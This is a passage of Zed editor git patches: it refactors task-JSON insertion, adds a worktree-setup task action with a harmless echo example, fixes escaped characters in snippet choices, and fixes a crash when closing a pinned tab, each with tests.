+  //   "cwd": "$ZED_WORKTREE_ROOT",
+  //   "hooks": ["create_worktree"]
+  // }
+]
diff --git a/crates/debugger_ui/Cargo.toml b/crates/debugger_ui/Cargo.toml
index 8a2364abb6814d..0a7857152b425c 100644
--- a/crates/debugger_ui/Cargo.toml
+++ b/crates/debugger_ui/Cargo.toml
@@ -68,8 +68,6 @@ terminal_view.workspace = true
 text.workspace = true
 theme.workspace = true
 theme_settings.workspace = true
-tree-sitter-json.workspace = true
-tree-sitter = { workspace = true, features = ["wasm"] }
 ui.workspace = true
 ui_input.workspace = true
 unindent = { workspace = true, optional = true }
diff --git a/crates/debugger_ui/src/debugger_panel.rs b/crates/debugger_ui/src/debugger_panel.rs
index 8b2af4afbe961f..37abc0469482e5 100644
--- a/crates/debugger_ui/src/debugger_panel.rs
+++ b/crates/debugger_ui/src/debugger_panel.rs
@@ -14,7 +14,7 @@ use collections::IndexMap;
 use dap::adapters::DebugAdapterName;
 use dap::{DapRegistry, StartDebuggingRequestArguments};
 use dap::{client::SessionId, debugger_settings::DebuggerSettings};
-use editor::{Editor, MultiBufferOffset, ToPoint};
+use editor::Editor;
 use feature_flags::{FeatureFlag, FeatureFlagAppExt as _, PresenceFlag, register_feature_flag};
 use gpui::{
     Action, Anchor, App, AsyncWindowContext, ClipboardItem, Context, DismissEvent, Entity,
@@ -29,9 +29,9 @@ use project::{DebugScenarioContext, Fs, ProjectPath, TaskSourceKind, WorktreeId}
 use project::{Project, debugger::session::ThreadStatus};
 use rpc::proto::{self};
 use settings::Settings;
-use std::sync::{Arc, LazyLock};
+use std::sync::Arc;
 use task::{DebugScenario, SharedTaskContext};
-use tree_sitter::{Query, StreamingIterator as _};
+
 use ui::{
     ButtonLike, ContextMenu, Divider, ElevationIndex, PopoverMenu, PopoverMenuHandle, SplitButton,
     Tab, TintColor, Tooltip, prelude::*,
@@ -1220,76 +1220,7 @@ impl DebugPanel {
         window: &mut Window,
         cx: &mut Context<Editor>,
     ) -> Result<Task<Result<()>>> {
-        static LAST_ITEM_QUERY: LazyLock<Query> = LazyLock::new(|| {
-            Query::new(
-                &tree_sitter_json::LANGUAGE.into(),
-                "(document (array (object) @object))", // TODO: use "." anchor to only match last object
-            )
-            .expect("Failed to create LAST_ITEM_QUERY")
-        });
-        static EMPTY_ARRAY_QUERY: LazyLock<Query> = LazyLock::new(|| {
-            Query::new(
-                &tree_sitter_json::LANGUAGE.into(),
-                "(document (array) @array)",
-            )
-            .expect("Failed to create EMPTY_ARRAY_QUERY")
-        });
-
-        let content = editor.text(cx);
-        let mut parser = tree_sitter::Parser::new();
-        parser.set_language(&tree_sitter_json::LANGUAGE.into())?;
-        let mut cursor = tree_sitter::QueryCursor::new();
-        let syntax_tree = parser
-            .parse(&content, None)
-            .context("could not parse debug.json")?;
-        let mut matches = cursor.matches(
-            &LAST_ITEM_QUERY,
-            syntax_tree.root_node(),
-            content.as_bytes(),
-        );
-
-        let mut last_offset = None;
-        while let Some(mat) = matches.next() {
-            if let Some(pos) = mat.captures.first().map(|m| m.node.byte_range().end) {
-                last_offset = Some(MultiBufferOffset(pos))
-            }
-        }
-        let mut edits = Vec::new();
-        let mut cursor_position = MultiBufferOffset(0);
-
-        if let Some(pos) = last_offset {
-            edits.push((pos..pos, format!(",\n{new_scenario}")));
-            cursor_position = pos + ",\n  ".len();
-        } else {
-            let mut matches = cursor.matches(
-                &EMPTY_ARRAY_QUERY,
-                syntax_tree.root_node(),
-                content.as_bytes(),
-            );
-
-            if let Some(mat) = matches.next() {
-                if let Some(pos) = mat.captures.first().map(|m| m.node.byte_range().end - 1) {
-                    edits.push((
-                        MultiBufferOffset(pos)..MultiBufferOffset(pos),
-                        format!("\n{new_scenario}\n"),
-                    ));
-                    cursor_position = MultiBufferOffset(pos) + "\n  ".len();
-                }
-            } else {
-                edits.push((
-                    MultiBufferOffset(0)..MultiBufferOffset(0),
-                    format!("[\n{}\n]", new_scenario),
-                ));
-                cursor_position = MultiBufferOffset("[\n  ".len());
-            }
-        }
-        editor.transact(window, cx, |editor, window, cx| {
-            editor.edit(edits, cx);
-            let snapshot = editor.buffer().read(cx).read(cx);
-            let point = cursor_position.to_point(&snapshot);
-            drop(snapshot);
-            editor.go_to_singleton_buffer_point(point, window, cx);
-        });
+        tasks_ui::insert_task_json_into_editor(editor, new_scenario, window, cx)?;
         Ok(editor.save(SaveOptions::default(), project, window, cx))
     }
 
diff --git a/crates/git_ui/src/worktree_picker.rs b/crates/git_ui/src/worktree_picker.rs
index df0e8992751ad0..9d23880fbc46a9 100644
--- a/crates/git_ui/src/worktree_picker.rs
+++ b/crates/git_ui/src/worktree_picker.rs
@@ -26,7 +26,8 @@ use workspace::{
 use crate::git_panel::show_error_toast;
 use crate::worktree_service::{RemoteBranchName, WorktreeCreateTarget, worktree_create_targets};
 use zed_actions::{
-    CreateWorktree, NewWorktreeBranchTarget, OpenWorktreeInNewWindow, SwitchWorktree,
+    CreateWorktree, NewWorktreeBranchTarget, OpenWorktreeInNewWindow, OpenWorktreeSetupTasks,
+    SwitchWorktree,
 };
 
 actions!(
@@ -246,6 +247,10 @@ impl Render for WorktreePicker {
             .on_mouse_down_out(cx.listener(|_, _, _, cx| {
                 cx.emit(DismissEvent);
             }))
+            .on_action(cx.listener(|_, _: &OpenWorktreeSetupTasks, _, cx| {
+                cx.emit(DismissEvent);
+                cx.propagate();
+            }))
             .on_action(cx.listener(|this, _: &DeleteWorktree, window, cx| {
                 this.picker.update(cx, |picker, cx| {
                     let ix = picker.delegate.selected_index;
@@ -1348,6 +1353,35 @@ impl PickerDelegate for WorktreePickerDelegate {
         }
     }
 
+    fn searchbar_trailer(
+        &self,
+        _window: &mut Window,
+        _cx: &mut Context<Picker<Self>>,
+    ) -> Option<AnyElement> {
+        if self.show_footer {
+            return None;
+        }
+
+        let focus_handle = self.focus_handle.clone();
+
+        Some(
+            IconButton::new("configure-worktree-tasks", IconName::Settings)
+                .icon_size(IconSize::Small)
+                .tooltip(move |_window, cx| {
+                    Tooltip::for_action_in(
+                        "Automate Worktree Setup",
+                        &OpenWorktreeSetupTasks,
+                        &focus_handle,
+                        cx,
+                    )
+                })
+                .on_click(|_, window, cx| {
+                    window.dispatch_action(OpenWorktreeSetupTasks.boxed_clone(), cx)
+                })
+                .into_any_element(),
+        )
+    }
+
     fn render_footer(&self, _: &mut Window, cx: &mut Context<Picker<Self>>) -> Option<AnyElement> {
         if !self.show_footer {
             return None;
@@ -1384,9 +1418,19 @@ impl PickerDelegate for WorktreePickerDelegate {
             .w_full()
             .p_1p5()
             .gap_0p5()
-            .justify_end()
+            .justify_between()
             .border_t_1()
-            .border_color(cx.theme().colors().border_variant);
+            .border_color(cx.theme().colors().border_variant)
+            .child(
+                Button::new("configure-worktree-tasks", "Automate Setup")
+                    .key_binding(
+                        KeyBinding::for_action_in(&OpenWorktreeSetupTasks, &focus_handle, cx)
+                            .map(|kb| kb.size(rems_from_px(12.))),
+                    )
+                    .on_click(|_, window, cx| {
+                        window.dispatch_action(OpenWorktreeSetupTasks.boxed_clone(), cx)
+                    }),
+            );
 
         if is_creating {
             Some(
@@ -1406,55 +1450,70 @@ impl PickerDelegate for WorktreePickerDelegate {
         } else if is_existing_worktree {
             Some(
                 footer
-                    .when(is_deleting, |this| {
-                        this.child(
-                            Button::new("delete-worktree", "Deleting…")
-                                .loading(true)
-                                .disabled(true),
-                        )
-                    })
-                    .when(!is_deleting && can_delete, |this| {
-                        let focus_handle = focus_handle.clone();
-                        this.child(
-                            Button::new("delete-worktree", "Delete")
-                                .key_binding(
-                                    KeyBinding::for_action_in(&DeleteWorktree, &focus_handle, cx)
-                                        .map(|kb| kb.size(rems_from_px(12.))),
+                    .child(
+                        h_flex()
+                            .gap_0p5()
+                            .when(is_deleting, |this| {
+                                this.child(
+                                    Button::new("delete-worktree", "Deleting…")
+                                        .loading(true)
+                                        .disabled(true),
                                 )
-                                .on_click(|_, window, cx| {
-                                    window.dispatch_action(DeleteWorktree.boxed_clone(), cx)
-                                }),
-                        )
-                    })
-                    .when(!is_deleting && !is_current, |this| {
-                        let focus_handle = focus_handle.clone();
-                        this.child(
-                            Button::new("open-in-new-window", "Open in New Window")
-                                .key_binding(
-                                    KeyBinding::for_action_in(
-                                        &menu::SecondaryConfirm,
-                                        &focus_handle,
-                                        cx,
-                                    )
-                                    .map(|kb| kb.size(rems_from_px(12.))),
+                            })
+                            .when(!is_deleting && can_delete, |this| {
+                                let focus_handle = focus_handle.clone();
+                                this.child(
+                                    Button::new("delete-worktree", "Delete")
+                                        .key_binding(
+                                            KeyBinding::for_action_in(
+                                                &DeleteWorktree,
+                                                &focus_handle,
+                                                cx,
+                                            )
+                                            .map(|kb| kb.size(rems_from_px(12.))),
+                                        )
+                                        .on_click(|_, window, cx| {
+                                            window.dispatch_action(DeleteWorktree.boxed_clone(), cx)
+                                        }),
                                 )
-                                .on_click(|_, window, cx| {
-                                    window.dispatch_action(menu::SecondaryConfirm.boxed_clone(), cx)
-                                }),
-                        )
-                    })
-                    .when(!is_deleting, |this| {
-                        this.child(
-                            Button::new("open-worktree", "Open")
-                                .key_binding(
-                                    KeyBinding::for_action_in(&menu::Confirm, &focus_handle, cx)
-                                        .map(|kb| kb.size(rems_from_px(12.))),
+                            })
+                            .when(!is_deleting && !is_current, |this| {
+                                let focus_handle = focus_handle.clone();
+                                this.child(
+                                    Button::new("open-in-new-window", "Open in New Window")
+                                        .key_binding(
+                                            KeyBinding::for_action_in(
+                                                &menu::SecondaryConfirm,
+                                                &focus_handle,
+                                                cx,
+                                            )
+                                            .map(|kb| kb.size(rems_from_px(12.))),
+                                        )
+                                        .on_click(|_, window, cx| {
+                                            window.dispatch_action(
+                                                menu::SecondaryConfirm.boxed_clone(),
+                                                cx,
+                                            )
+                                        }),
                                 )
-                                .on_click(|_, window, cx| {
-                                    window.dispatch_action(menu::Confirm.boxed_clone(), cx)
-                                }),
-                        )
-                    })
+                            })
+                            .when(!is_deleting, |this| {
+                                this.child(
+                                    Button::new("open-worktree", "Open")
+                                        .key_binding(
+                                            KeyBinding::for_action_in(
+                                                &menu::Confirm,
+                                                &focus_handle,
+                                                cx,
+                                            )
+                                            .map(|kb| kb.size(rems_from_px(12.))),
+                                        )
+                                        .on_click(|_, window, cx| {
+                                            window.dispatch_action(menu::Confirm.boxed_clone(), cx)
+                                        }),
+                                )
+                            }),
+                    )
                     .into_any(),
             )
         } else {
diff --git a/crates/settings/src/settings.rs b/crates/settings/src/settings.rs
index cec4aac90329b7..538e2aa2968608 100644
--- a/crates/settings/src/settings.rs
+++ b/crates/settings/src/settings.rs
@@ -186,6 +186,10 @@ pub fn initial_tasks_content() -> Cow<'static, str> {
     asset_str::<SettingsAssets>("settings/initial_tasks.json")
 }
 
+pub fn initial_worktree_setup_tasks_content() -> Cow<'static, str> {
+    asset_str::<SettingsAssets>("settings/initial_worktree_setup_tasks.json")
+}
+
 pub fn initial_debug_tasks_content() -> Cow<'static, str> {
     asset_str::<SettingsAssets>("settings/initial_debug_tasks.json")
 }
diff --git a/crates/tasks_ui/Cargo.toml b/crates/tasks_ui/Cargo.toml
index 2f75a0b57c6816..c3884252b44ecf 100644
--- a/crates/tasks_ui/Cargo.toml
+++ b/crates/tasks_ui/Cargo.toml
@@ -24,6 +24,8 @@ picker.workspace = true
 project.workspace = true
 task.workspace = true
 serde.workspace = true
+tree-sitter.workspace = true
+tree-sitter-json.workspace = true
 ui.workspace = true
 util.workspace = true
 workspace.workspace = true
diff --git a/crates/tasks_ui/src/tasks_ui.rs b/crates/tasks_ui/src/tasks_ui.rs
index 072ad29c1b765e..41b24dee320004 100644
--- a/crates/tasks_ui/src/tasks_ui.rs
+++ b/crates/tasks_ui/src/tasks_ui.rs
@@ -1,16 +1,103 @@
-use std::{path::Path, sync::Arc};
+use std::{
+    path::Path,
+    sync::{Arc, LazyLock},
+};
 
+use anyhow::Context as _;
 use collections::HashMap;
-use editor::Editor;
+use editor::{Editor, MultiBufferOffset, ToPoint as _};
 use gpui::{App, AppContext as _, Context, Entity, Task, TaskExt, Window};
 use project::{Location, TaskContexts, TaskSourceKind, Worktree};
 use task::{RevealTarget, TaskContext, TaskId, TaskTemplate, TaskVariables, VariableName};
+use tree_sitter::{Query, StreamingIterator as _};
 use workspace::Workspace;
 
 mod modal;
 
 pub use modal::{Rerun, ShowAttachModal, Spawn, TaskOverrides, TasksModal};
 
+/// Inserts `new_task` (pretty-printed JSON object text) at the end of the top-level JSON
+/// array in the editor's buffer, creating the array if the buffer has none, and moves the
+/// cursor to the inserted task. The edit is left unsaved so callers decide whether to persist it.
+pub fn insert_task_json_into_editor(
+    editor: &mut Editor,
+    new_task: String,
+    window: &mut Window,
+    cx: &mut Context<Editor>,
+) -> anyhow::Result<()> {
+    static LAST_ITEM_QUERY: LazyLock<Query> = LazyLock::new(|| {
+        Query::new(
+            &tree_sitter_json::LANGUAGE.into(),
+            "(document (array (object) @object))", // TODO: use "." anchor to only match last object
+        )
+        .expect("Failed to create LAST_ITEM_QUERY")
+    });
+    static EMPTY_ARRAY_QUERY: LazyLock<Query> = LazyLock::new(|| {
+        Query::new(
+            &tree_sitter_json::LANGUAGE.into(),
+            "(document (array) @array)",
+        )
+        .expect("Failed to create EMPTY_ARRAY_QUERY")
+    });
+
+    let content = editor.text(cx);
+    let mut parser = tree_sitter::Parser::new();
+    parser.set_language(&tree_sitter_json::LANGUAGE.into())?;
+    let mut cursor = tree_sitter::QueryCursor::new();
+    let syntax_tree = parser
+        .parse(&content, None)
+        .context("could not parse tasks file")?;
+    let mut matches = cursor.matches(
+        &LAST_ITEM_QUERY,
+        syntax_tree.root_node(),
+        content.as_bytes(),
+    );
+
+    let mut last_offset = None;
+    while let Some(mat) = matches.next() {
+        if let Some(pos) = mat.captures.first().map(|m| m.node.byte_range().end) {
+            last_offset = Some(MultiBufferOffset(pos))
+        }
+    }
+    let mut edits = Vec::new();
+    let mut cursor_position = MultiBufferOffset(0);
+
+    if let Some(pos) = last_offset {
+        edits.push((pos..pos, format!(",\n{new_task}")));
+        cursor_position = pos + ",\n  ".len();
+    } else {
+        let mut matches = cursor.matches(
+            &EMPTY_ARRAY_QUERY,
+            syntax_tree.root_node(),
+            content.as_bytes(),
+        );
+
+        if let Some(mat) = matches.next() {
+            if let Some(pos) = mat.captures.first().map(|m| m.node.byte_range().end - 1) {
+                edits.push((
+                    MultiBufferOffset(pos)..MultiBufferOffset(pos),
+                    format!("\n{new_task}\n"),
+                ));
+                cursor_position = MultiBufferOffset(pos) + "\n  ".len();
+            }
+        } else {
+            edits.push((
+                MultiBufferOffset(0)..MultiBufferOffset(0),
+                format!("[\n{}\n]", new_task),
+            ));
+            cursor_position = MultiBufferOffset("[\n  ".len());
+        }
+    }
+    editor.transact(window, cx, |editor, window, cx| {
+        editor.edit(edits, cx);
+        let snapshot = editor.buffer().read(cx).read(cx);
+        let point = cursor_position.to_point(&snapshot);
+        drop(snapshot);
+        editor.go_to_singleton_buffer_point(point, window, cx);
+    });
+    Ok(())
+}
+
 pub fn init(cx: &mut App) {
     cx.observe_new(
         |workspace: &mut Workspace, _: Option<&mut Window>, _: &mut Context<Workspace>| {
diff --git a/crates/zed/src/zed.rs b/crates/zed/src/zed.rs
index 79abe8949ee30f..302215ea53ce71 100644
--- a/crates/zed/src/zed.rs
+++ b/crates/zed/src/zed.rs
@@ -104,8 +104,8 @@ use workspace::{
 };
 use workspace::{Pane, notifications::DetachAndPromptErr};
 use zed_actions::{
-    About, GetMerch, OpenAccountSettings, OpenBrowser, OpenDocs, OpenServerSettings,
-    OpenSettingsFile, OpenStatusPage, OpenZedUrl, Quit,
+    About, GetMerch, OpenAccountSettings, OpenBrowser, OpenDocs, OpenProjectTasks,
+    OpenServerSettings, OpenSettingsFile, OpenStatusPage, OpenZedUrl, Quit,
 };
 
 const DOCS_URL: &str = "https://zed.dev/docs/";
@@ -131,8 +131,6 @@ actions!(
         OpenDefaultSettings,
         /// Opens project-specific settings file.
         OpenProjectSettingsFile,
-        /// Opens the project tasks configuration.
-        OpenProjectTasks,
         /// Opens the tasks panel.
         OpenTasks,
         /// Opens debug tasks configuration.
@@ -1229,6 +1227,7 @@ fn register_actions(
         })
         .register_action(open_project_settings_file)
         .register_action(open_project_tasks_file)
+        .register_action(open_worktree_setup_tasks_file)
         .register_action(open_project_debug_tasks_file)
         .register_action(
             |workspace: &mut Workspace,
@@ -2392,13 +2391,15 @@ fn open_project_settings_file(
     window: &mut Window,
     cx: &mut Context<Workspace>,
 ) {
-    open_local_file(
+    if let Some(task) = open_local_file(
         workspace,
         local_settings_file_relative_path(),
         initial_project_settings_content(),
         window,
         cx,
-    )
+    ) {
+        task.detach_and_log_err(cx);
+    }
 }
 
 fn open_project_tasks_file(
@@ -2407,13 +2408,64 @@ fn open_project_tasks_file(
     window: &mut Window,
     cx: &mut Context<Workspace>,
 ) {
-    open_local_file(
+    if let Some(task) = open_local_file(
         workspace,
         local_tasks_file_relative_path(),
         initial_tasks_content(),
         window,
         cx,
-    )
+    ) {
+        task.detach_and_log_err(cx);
+    }
+}
+
+fn open_worktree_setup_tasks_file(
+    workspace: &mut Workspace,
+    _: &zed_actions::OpenWorktreeSetupTasks,
+    window: &mut Window,
+    cx: &mut Context<Workspace>,
+) {
+    // Kept harmless on purpose: tasks with the `create_worktree` hook run automatically
+    // when a worktree is created, so the example must be safe to save unedited.
+    const WORKTREE_SETUP_TASK_EXAMPLE: &str = r#"  {
+    // Runs automatically after Zed creates a new git worktree.
+    // $ZED_WORKTREE_ROOT is the new worktree's root directory, and
+    // $ZED_MAIN_GIT_WORKTREE is the original repository's working directory.
+    "label": "Set up new worktree",
+    "command": "echo \"Setting up $ZED_WORKTREE_ROOT — edit this command\"",
+    "cwd": "$ZED_WORKTREE_ROOT",
+    "hooks": ["create_worktree"]
+  }"#;
+
+    let Some(open_task) = open_local_file(
+        workspace,
+        local_tasks_file_relative_path(),
+        settings::initial_worktree_setup_tasks_content(),
+        window,
+        cx,
+    ) else {
+        return;
+    };
+
+    cx.spawn_in(window, async move |_, cx| {
+        let editor = open_task.await?;
+        editor.update_in(cx, |editor, window, cx| {
+            // Skip insertion if the file already mentions the hook (even in a comment,
+            // like the seeded template's example — uncommenting it beats duplicating it).
+            // `create_git_worktree` is a serde alias for the same hook.
+            let text = editor.text(cx);
+            if text.contains("create_worktree") || text.contains("create_git_worktree") {
+                return anyhow::Ok(());
+            }
+            tasks_ui::insert_task_json_into_editor(
+                editor,
+                WORKTREE_SETUP_TASK_EXAMPLE.to_string(),
+                window,
+                cx,
+            )
+        })?
+    })
+    .detach_and_log_err(cx);
 }
 
 fn open_project_debug_tasks_file(
@@ -2422,13 +2474,15 @@ fn open_project_debug_tasks_file(
     window: &mut Window,
     cx: &mut Context<Workspace>,
 ) {
-    open_local_file(
+    if let Some(task) = open_local_file(
         workspace,
         local_debug_file_relative_path(),
         initial_local_debug_tasks_content(),
         window,
         cx,
-    )
+    ) {
+        task.detach_and_log_err(cx);
+    }
 }
 
 fn open_local_file(
@@ -2437,7 +2491,7 @@ fn open_local_file(
     initial_contents: Cow<'static, str>,
     window: &mut Window,
     cx: &mut Context<Workspace>,
-) {
+) -> Option<gpui::Task<anyhow::Result<Entity<Editor>>>> {
     let project = workspace.project().clone();
     let worktree = project
         .read(cx)
@@ -2445,7 +2499,7 @@ fn open_local_file(
         .find_map(|tree| tree.read(cx).root_entry()?.is_dir().then_some(tree));
     if let Some(worktree) = worktree {
         let tree_id = worktree.read(cx).id();
-        cx.spawn_in(window, async move |workspace, cx| {
+        Some(cx.spawn_in(window, async move |workspace, cx| {
             // Check if the file actually exists on disk (even if it's excluded from worktree)
             let file_exists = {
                 let full_path = worktree.read_with(cx, |tree, _| {
@@ -2493,28 +2547,25 @@ fn open_local_file(
                 .downcast::<Editor>()
                 .context("unexpected item type: expected editor item")?;
 
-            editor
-                .downgrade()
-                .update(cx, |editor, cx| {
-                    if let Some(buffer) = editor.buffer().read(cx).as_singleton()
-                        && buffer.read(cx).is_empty()
-                    {
-                        buffer.update(cx, |buffer, cx| {
-                            buffer.edit([(0..0, initial_contents)], None, cx)
-                        });
-                    }
-                })
-                .ok();
+            editor.update(cx, |editor, cx| {
+                if let Some(buffer) = editor.buffer().read(cx).as_singleton()
+                    && buffer.read(cx).is_empty()
+                {
+                    buffer.update(cx, |buffer, cx| {
+                        buffer.edit([(0..0, initial_contents)], None, cx)
+                    });
+                }
+            });
 
-            anyhow::Ok(())
-        })
-        .detach();
+            anyhow::Ok(editor)
+        }))
     } else {
         struct NoOpenFolders;
 
         workspace.show_notification(NotificationId::unique::<NoOpenFolders>(), cx, |cx| {
             cx.new(|cx| MessageNotification::new("This project has no folders open.", cx))
-        })
+        });
+        None
     }
 }
 
diff --git a/crates/zed/src/zed/app_menus.rs b/crates/zed/src/zed/app_menus.rs
index 6e73536b1df959..8531ebb7f6000b 100644
--- a/crates/zed/src/zed/app_menus.rs
+++ b/crates/zed/src/zed/app_menus.rs
@@ -262,8 +262,8 @@ pub fn app_menus(cx: &mut App) -> Vec<Menu> {
                 ),
                 MenuItem::action("Start Debugger", debugger_ui::Start),
                 MenuItem::separator(),
-                MenuItem::action("Edit tasks.json...", crate::zed::OpenProjectTasks),
-                MenuItem::action("Edit debug.json...", zed_actions::OpenProjectDebugTasks),
+                MenuItem::action("Edit tasks.json…", zed_actions::OpenProjectTasks),
+                MenuItem::action("Edit debug.json…", zed_actions::OpenProjectDebugTasks),
                 MenuItem::separator(),
                 MenuItem::action("Continue", debugger_ui::Continue),
                 MenuItem::action("Step Over", debugger_ui::StepOver),
diff --git a/crates/zed_actions/src/lib.rs b/crates/zed_actions/src/lib.rs
index 12b34def15c87f..1c5d70a0fd7e4e 100644
--- a/crates/zed_actions/src/lib.rs
+++ b/crates/zed_actions/src/lib.rs
@@ -47,6 +47,10 @@ actions!(
         /// Opens project-specific settings.
         #[action(deprecated_aliases = ["zed_actions::OpenProjectSettings"])]
         OpenProjectSettings,
+        /// Opens the project tasks configuration.
+        OpenProjectTasks,
+        /// Opens the project tasks configuration with worktree setup guidance.
+        OpenWorktreeSetupTasks,
         /// Opens the default keymap file.
         OpenDefaultKeymap,
         /// Opens the user keymap file.

From e651b6ddc31f4e9e2816d40d9498fd69ed117b44 Mon Sep 17 00:00:00 2001
From: Venkatesh R <149990456+Ni8crawler18@users.noreply.github.com>
Date: Mon, 20 Jul 2026 16:47:43 +0530
Subject: [PATCH 560/772] snippet: Preserve escaped characters in non-default
 choice options (#61313)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

Closes #61312

In `parse_choices`, the escape branch only appended the escaped
character to `current_choice` when parsing the first choice, because the
push was placed inside the `!found_default_choice` guard. That guard is
only meant for `text` (the default value inserted into the buffer) — the
plain-text branch below handles it that way. As a result, `${1|a,b\,c|}`
offered the choices `a` and `bc` instead of `a` and `b,c`, and the same
applied to any `\,`, `\|`, or `\\` in choices after the first.

Moved `current_choice.push(c)` out of the guard and added a regression
test covering escaped comma, pipe, and backslash in non-first choices.
Escapes in the first choice were already covered by the existing test
and are unchanged.

Before / after (snippet body `"${1|a,b\\,c|}"`): the choice dropdown
showed `a` / `bc`, now shows `a` / `b,c`.

Release Notes:

- Fixed escaped characters (`\,`, `\|`, `\\`) being dropped from snippet
choice options after the first one
---
 crates/snippet/src/snippet.rs | 28 +++++++++++++++++++++++++++-
 1 file changed, 27 insertions(+), 1 deletion(-)

diff --git a/crates/snippet/src/snippet.rs b/crates/snippet/src/snippet.rs
index 4be4281d9ac0bb..6674834e969d3d 100644
--- a/crates/snippet/src/snippet.rs
+++ b/crates/snippet/src/snippet.rs
@@ -157,8 +157,8 @@ fn parse_choices<'a>(
                 source = &source[1..];
 
                 if let Some(c) = source.chars().next() {
+                    current_choice.push(c);
                     if !found_default_choice {
-                        current_choice.push(c);
                         text.push(c);
                     }
                     source = &source[c.len_utf8()..];
@@ -277,6 +277,32 @@ mod tests {
         );
     }
 
+    #[test]
+    fn test_snippet_with_escaped_chars_in_non_default_choices() {
+        let snippet = Snippet::parse(r"${1|a,b\,c|}").unwrap();
+        assert_eq!(snippet.text, "a");
+        assert_eq!(tabstops(&snippet), &[vec![0..1], vec![1..1]]);
+        assert_eq!(
+            tabstop_choices(&snippet),
+            &[&Some(vec!["a".to_string(), "b,c".to_string()]), &None]
+        );
+
+        let snippet = Snippet::parse(r"${1|one,two\|2,three\\3|}").unwrap();
+        assert_eq!(snippet.text, "one");
+        assert_eq!(tabstops(&snippet), &[vec![0..3], vec![3..3]]);
+        assert_eq!(
+            tabstop_choices(&snippet),
+            &[
+                &Some(vec![
+                    "one".to_string(),
+                    "two|2".to_string(),
+                    r"three\3".to_string()
+                ]),
+                &None
+            ]
+        );
+    }
+
     #[test]
     fn test_snippet_with_nested_placeholders() {
         let snippet = Snippet::parse(

From 339f4237c4c8080ad46411f73f2640dca32d6c12 Mon Sep 17 00:00:00 2001
From: Jakub Konka <kubkon@jakubkonka.com>
Date: Mon, 20 Jul 2026 14:39:07 +0200
Subject: [PATCH 561/772] workspace: Fix crash when closing active item
 mid-update (#61336)

Closes https://github.com/zed-industries/zed/issues/61182

Supersedes https://github.com/zed-industries/zed/pull/61232

Closes FR-128

Release Notes:

- Fixed crash when closing active item while the workspace was
mid-update (double-lease panic).

Co-authored-by: apoorva-01 <vermaapoorva0510@gmail.com>
---
 crates/workspace/src/pane.rs      | 74 +++++++++++++++++++++++++------
 crates/workspace/src/workspace.rs | 51 +++++++++++++++++++++
 2 files changed, 112 insertions(+), 13 deletions(-)

diff --git a/crates/workspace/src/pane.rs b/crates/workspace/src/pane.rs
index e8e70de79664e4..32072f17728ed3 100644
--- a/crates/workspace/src/pane.rs
+++ b/crates/workspace/src/pane.rs
@@ -1628,20 +1628,22 @@ impl Pane {
 
             // Activate any non-pinned tab in different pane
             let current_pane = cx.entity();
-            self.workspace
-                .update(cx, |workspace, cx| {
-                    let panes = workspace.center.panes();
-                    let pane_with_unpinned_tab = panes.iter().find(|pane| {
-                        if **pane == &current_pane {
-                            return false;
+            cx.defer_in(window, move |this, window, cx| {
+                this.workspace
+                    .update(cx, |workspace, cx| {
+                        let panes = workspace.center.panes();
+                        let pane_with_unpinned_tab = panes.iter().find(|pane| {
+                            if **pane == &current_pane {
+                                return false;
+                            }
+                            pane.read(cx).has_unpinned_tabs()
+                        });
+                        if let Some(pane) = pane_with_unpinned_tab {
+                            pane.update(cx, |pane, cx| pane.activate_unpinned_tab(window, cx));
                         }
-                        pane.read(cx).has_unpinned_tabs()
-                    });
-                    if let Some(pane) = pane_with_unpinned_tab {
-                        pane.update(cx, |pane, cx| pane.activate_unpinned_tab(window, cx));
-                    }
-                })
-                .ok();
+                    })
+                    .ok();
+            });
 
             return Task::ready(Ok(()));
         };
@@ -8568,6 +8570,52 @@ mod tests {
         assert_item_labels(&pane2, ["B*"], cx);
     }
 
+    #[gpui::test]
+    async fn test_close_pinned_tab_while_workspace_is_leased(cx: &mut TestAppContext) {
+        init_test(cx);
+        let fs = FakeFs::new(cx.executor());
+        let project = Project::test(fs, None, cx).await;
+        let (workspace, cx) =
+            cx.add_window_view(|window, cx| Workspace::test_new(project, window, cx));
+
+        // No non-pinned tabs in same pane, non-pinned tabs in another pane
+        let pane1 = workspace.read_with(cx, |workspace, _| workspace.active_pane().clone());
+        let pane2 = workspace.update_in(cx, |workspace, window, cx| {
+            workspace.split_pane(pane1.clone(), SplitDirection::Right, window, cx)
+        });
+        add_labeled_item(&pane1, "A", false, cx);
+        pane1.update_in(cx, |pane, window, cx| {
+            pane.pin_tab_at(0, window, cx);
+        });
+        set_labeled_items(&pane1, ["A*"], cx);
+        add_labeled_item(&pane2, "B", false, cx);
+        set_labeled_items(&pane2, ["B"], cx);
+
+        // Close the active item while the workspace entity is already being
+        // updated. This used to double-lease the workspace and panic, because
+        // `close_active_item` synchronously reached back into the workspace to
+        // find an unpinned tab in another pane.
+        workspace.update_in(cx, |_workspace, window, cx| {
+            pane1.update(cx, |pane, cx| {
+                pane.close_active_item(
+                    &CloseActiveItem {
+                        save_intent: None,
+                        close_pinned: false,
+                    },
+                    window,
+                    cx,
+                )
+                .detach();
+            });
+        });
+        cx.run_until_parked();
+
+        // The pinned tab must not be closed, and the non-pinned tab of the
+        // other pane should have been activated.
+        assert_item_labels(&pane1, ["A*!"], cx);
+        assert_item_labels(&pane2, ["B*"], cx);
+    }
+
     #[gpui::test]
     async fn ensure_item_closing_actions_do_not_panic_when_no_items_exist(cx: &mut TestAppContext) {
         init_test(cx);
diff --git a/crates/workspace/src/workspace.rs b/crates/workspace/src/workspace.rs
index cdfbcb78a34601..ab9c1d0650800e 100644
--- a/crates/workspace/src/workspace.rs
+++ b/crates/workspace/src/workspace.rs
@@ -16552,6 +16552,57 @@ mod tests {
         });
     }
 
+    #[gpui::test]
+    async fn test_pane_close_active_item_from_dock_with_all_tabs_pinned(cx: &mut TestAppContext) {
+        init_test(cx);
+
+        let fs = FakeFs::new(cx.executor());
+        let project = Project::test(fs, [], cx).await;
+        let (multi_workspace, cx) =
+            cx.add_window_view(|window, cx| MultiWorkspace::test_new(project, window, cx));
+        let workspace = multi_workspace.read_with(cx, |mw, _| mw.workspace().clone());
+        let panel = workspace.update_in(cx, |workspace, window, cx| {
+            let panel = cx.new(|cx| TestPanel::new(DockPosition::Right, 100, cx));
+            workspace.add_panel(panel.clone(), window, cx);
+
+            workspace
+                .right_dock()
+                .update(cx, |right_dock, cx| right_dock.set_open(true, window, cx));
+
+            panel
+        });
+
+        let pane = workspace.read_with(cx, |workspace, _| workspace.active_pane().clone());
